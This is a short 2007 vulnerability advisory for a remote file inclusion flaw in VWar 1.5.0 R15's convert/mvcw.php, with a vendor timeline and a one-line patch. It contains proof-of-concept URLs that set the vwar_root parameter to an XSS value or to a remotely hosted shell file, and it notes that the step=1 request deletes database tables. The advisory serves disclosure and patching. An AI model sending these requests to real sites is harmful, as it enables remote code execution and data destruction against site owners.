VWar versions 1.5.0 R15 and below suffer from a remote file inclusion vulnerability in mvcw.php.
6193e784ed80e4a150ca5d9f0ef5e6d49d9e4c5e6e90fb5ed6b9bcf095b4e515
\#'#/
(-.-)
--------------------oOO---(_)---OOo--------------------
| VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion |
| coded by DNX |
-------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.vwar.de
[!] Detected: 26.02.2007
[!] Reported: 27.02.2007
[!] Remote: yes
[!] Background: VWar is a team organizer based on PHP and MySQL
[!] Bug: $vwar_root in convert/mvcw.php
[!] PoC:
- http://[site]/[path]/convert/mvcw.php?vwar_root=[xss]
- http://[site]/[path]/convert/mvcw.php?step=1&vwar_root=[shell]
[!] Example:
- http://127.0.0.1/vwar/convert/mvcw.php?step=1&vwar_root=http//127.0.0.1/shell.txt?
[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
vwar_scores and vwar_screen in the database
[!] Solution: No update from vendor till now
[!] Quick fix in convert/mvcw.php line 79:
- replace:
if ($GPC['step'] == 1)
{
// clean tables
- with:
if ($GPC['step'] == 1)
{
$vwar_root = "./../";
// clean tables